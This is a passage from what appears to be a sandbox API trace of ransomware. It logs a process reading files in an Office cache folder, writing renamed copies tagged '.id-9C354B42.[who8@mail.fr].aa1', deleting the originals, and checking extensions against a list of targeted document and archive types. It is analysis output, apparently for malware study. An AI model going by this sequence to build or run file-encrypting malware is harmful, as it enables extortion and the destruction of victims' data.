lpBuffer=0x3bf0058*, lpNumberOfBytesRead=0x301fc38*=0x40000, lpOverlapped=0x0) returned 1 [0222.313] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.315] WriteFile (in: hFile=0x17c, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x301fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0222.342] SetEndOfFile (hFile=0x17c) returned 1 [0222.343] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f32900 [0222.343] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0222.343] WriteFile (in: hFile=0x17c, lpBuffer=0x3f32900*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32900*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0222.344] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0222.344] WriteFile (in: hFile=0x17c, lpBuffer=0x3f32900*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32900*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0222.346] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x301fc7c | out: lpNewFilePointer=0x0) returned 1 [0222.346] WriteFile (in: hFile=0x17c, lpBuffer=0x3f32900*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x301fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32900*, lpNumberOfBytesWritten=0x301fc88*=0x40000, lpOverlapped=0x0) returned 1 [0222.349] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f32900 | out: hHeap=0x4f0000) returned 1 [0222.349] CloseHandle (hObject=0x17c) returned 1 [0222.349] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0222.349] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0222.349] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0222.349] lstrlenW (lpString=".doc") returned 4 [0222.349] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0222.349] lstrlenW (lpString=".docx") returned 5 [0222.349] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0222.349] lstrlenW (lpString=".pdf") returned 4 [0222.349] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0222.349] lstrlenW (lpString=".xls") returned 4 [0222.349] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0222.349] lstrlenW (lpString=".xlsx") returned 5 [0222.350] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0222.350] lstrlenW (lpString=".ppt") returned 4 [0222.350] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0222.350] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0222.350] lstrlenW (lpString=".zip") returned 4 [0222.350] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0222.350] lstrlenW (lpString=".rar") returned 4 [0222.350] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0222.350] lstrlenW (lpString=".bz2") returned 4 [0222.350] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0222.350] lstrlenW (lpString=".7z") returned 3 [0222.350] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0222.350] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0222.350] lstrlenW (lpString=".dbf") returned 4 [0222.350] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0222.350] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0222.350] lstrlenW (lpString=".1cd") returned 4 [0222.350] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0222.350] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0222.350] lstrlenW (lpString=".jpg") returned 4 [0222.350] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0222.350] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0222.350] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0222.350] lstrlenW (lpString=".doc") returned 4 [0222.350] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0222.350] lstrlenW (lpString=".docx") returned 5 [0222.350] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0222.351] lstrlenW (lpString=".pdf") returned 4 [0222.351] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0222.351] lstrlenW (lpString=".xls") returned 4 [0222.351] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0222.351] lstrlenW (lpString=".xlsx") returned 5 [0222.351] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0222.351] lstrlenW (lpString=".ppt") returned 4 [0222.351] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0222.351] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0222.351] lstrlenW (lpString=".zip") returned 4 [0222.351] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0222.351] lstrlenW (lpString=".rar") returned 4 [0222.351] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0222.351] lstrlenW (lpString=".bz2") returned 4 [0222.351] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0222.351] lstrlenW (lpString=".7z") returned 3 [0222.351] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0222.351] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0222.351] lstrlenW (lpString=".dbf") returned 4 [0222.351] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0222.351] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0222.351] lstrlenW (lpString=".1cd") returned 4 [0222.351] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0222.351] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0222.351] lstrlenW (lpString=".jpg") returned 4 [0222.351] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0222.352] lstrcmpiW (lpString1=".dll", lpString2=".aa1") returned 1 [0222.352] lstrlenW (lpString="PidGenX.dll") returned 11 [0222.352] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0222.352] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1463568) returned 1 [0222.352] CloseHandle (hObject=0x17c) returned 1 [0222.352] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0222.353] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0222.353] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0222.353] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.353] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.353] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0222.353] GetLastError () returned 0x0 [0222.353] ReadFile (in: hFile=0x17c, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0222.407] WriteFile (in: hFile=0x1e4, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0222.432] ReadFile (in: hFile=0x17c, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x65520, lpOverlapped=0x0) returned 1 [0222.449] WriteFile (in: hFile=0x1e4, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0x65530, lpOverlapped=0x0) returned 1 [0222.467] ReadFile (in: hFile=0x17c, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.467] WriteFile (in: hFile=0x1e4, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xea, lpOverlapped=0x0) returned 1 [0222.468] SetEndOfFile (hFile=0x1e4) returned 1 [0222.468] CloseHandle (hObject=0x1e4) returned 1 [0222.468] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.468] SetEndOfFile (hFile=0x17c) returned 1 [0222.472] CloseHandle (hObject=0x17c) returned 1 [0222.473] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0222.473] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1 [0222.473] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0222.473] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0222.473] lstrlenW (lpString=".doc") returned 4 [0222.473] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0222.473] lstrlenW (lpString=".docx") returned 5 [0222.473] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0222.473] lstrlenW (lpString=".pdf") returned 4 [0222.473] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0222.473] lstrlenW (lpString=".xls") returned 4 [0222.473] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0222.473] lstrlenW (lpString=".xlsx") returned 5 [0222.474] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0222.474] lstrlenW (lpString=".ppt") returned 4 [0222.474] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0222.474] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0222.474] lstrlenW (lpString=".zip") returned 4 [0222.474] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0222.474] lstrlenW (lpString=".rar") returned 4 [0222.474] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0222.474] lstrlenW (lpString=".bz2") returned 4 [0222.474] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0222.474] lstrlenW (lpString=".7z") returned 3 [0222.474] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0222.474] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0222.474] lstrlenW (lpString=".dbf") returned 4 [0222.474] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0222.474] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0222.474] lstrlenW (lpString=".1cd") returned 4 [0222.474] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0222.474] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0222.474] lstrlenW (lpString=".jpg") returned 4 [0222.474] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0222.474] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0222.474] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0222.474] lstrlenW (lpString=".doc") returned 4 [0222.474] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0222.474] lstrlenW (lpString=".docx") returned 5 [0222.474] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0222.474] lstrlenW (lpString=".pdf") returned 4 [0222.475] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0222.475] lstrlenW (lpString=".xls") returned 4 [0222.475] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0222.475] lstrlenW (lpString=".xlsx") returned 5 [0222.475] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0222.475] lstrlenW (lpString=".ppt") returned 4 [0222.475] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0222.475] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0222.475] lstrlenW (lpString=".zip") returned 4 [0222.475] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0222.475] lstrlenW (lpString=".rar") returned 4 [0222.475] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0222.475] lstrlenW (lpString=".bz2") returned 4 [0222.475] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0222.475] lstrlenW (lpString=".7z") returned 3 [0222.475] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0222.475] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0222.475] lstrlenW (lpString=".dbf") returned 4 [0222.475] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0222.475] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0222.475] lstrlenW (lpString=".1cd") returned 4 [0222.475] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0222.475] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0222.475] lstrlenW (lpString=".jpg") returned 4 [0222.475] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0222.476] lstrcmpiW (lpString1=".xrm-ms", lpString2=".aa1") returned 1 [0222.476] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0222.476] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0222.662] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=715834) returned 1 [0222.662] CloseHandle (hObject=0x224) returned 1 [0222.662] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0222.662] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0222.662] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0222.662] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.662] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.662] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0222.663] GetLastError () returned 0x0 [0222.663] ReadFile (in: hFile=0x224, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0xaec3a, lpOverlapped=0x0) returned 1 [0222.688] WriteFile (in: hFile=0x164, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0xaec40, lpOverlapped=0x0) returned 1 [0222.700] ReadFile (in: hFile=0x224, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.700] WriteFile (in: hFile=0x164, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x301fc9c*=0x104, lpOverlapped=0x0) returned 1 [0222.701] SetEndOfFile (hFile=0x164) returned 1 [0222.701] CloseHandle (hObject=0x164) returned 1 [0222.701] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.701] SetEndOfFile (hFile=0x224) returned 1 [0222.707] CloseHandle (hObject=0x224) returned 1 [0222.707] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0222.707] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0222.707] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0222.707] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0222.707] lstrlenW (lpString=".doc") returned 4 [0222.707] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0222.707] lstrlenW (lpString=".docx") returned 5 [0222.707] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0222.707] lstrlenW (lpString=".pdf") returned 4 [0222.708] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0222.708] lstrlenW (lpString=".xls") returned 4 [0222.708] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0222.708] lstrlenW (lpString=".xlsx") returned 5 [0222.708] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0222.708] lstrlenW (lpString=".ppt") returned 4 [0222.708] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0222.708] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0222.708] lstrlenW (lpString=".zip") returned 4 [0222.708] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0222.708] lstrlenW (lpString=".rar") returned 4 [0222.708] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0222.708] lstrlenW (lpString=".bz2") returned 4 [0222.708] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0222.708] lstrlenW (lpString=".7z") returned 3 [0222.708] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0222.708] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0222.708] lstrlenW (lpString=".dbf") returned 4 [0222.708] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0222.708] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0222.708] lstrlenW (lpString=".1cd") returned 4 [0222.708] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0222.708] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0222.708] lstrlenW (lpString=".jpg") returned 4 [0222.708] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0222.708] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0222.708] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0222.708] lstrlenW (lpString=".doc") returned 4 [0222.708] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0222.708] lstrlenW (lpString=".docx") returned 5 [0222.708] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0222.709] lstrlenW (lpString=".pdf") returned 4 [0222.709] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0222.709] lstrlenW (lpString=".xls") returned 4 [0222.709] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0222.709] lstrlenW (lpString=".xlsx") returned 5 [0222.709] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0222.709] lstrlenW (lpString=".ppt") returned 4 [0222.709] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0222.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0222.709] lstrlenW (lpString=".zip") returned 4 [0222.709] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0222.709] lstrlenW (lpString=".rar") returned 4 [0222.709] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0222.709] lstrlenW (lpString=".bz2") returned 4 [0222.709] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0222.709] lstrlenW (lpString=".7z") returned 3 [0222.709] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0222.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0222.709] lstrlenW (lpString=".dbf") returned 4 [0222.709] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0222.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0222.709] lstrlenW (lpString=".1cd") returned 4 [0222.709] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0222.709] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0222.709] lstrlenW (lpString=".jpg") returned 4 [0222.709] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0222.709] lstrcmpiW (lpString1=".exe", lpString2=".aa1") returned 1 [0222.710] lstrlenW (lpString="setup.exe") returned 9 [0222.710] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0222.710] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1377656) returned 1 [0222.710] CloseHandle (hObject=0x224) returned 1 [0222.711] GetFileAttributesW (lpFileName="C:\\MSOCache\\All 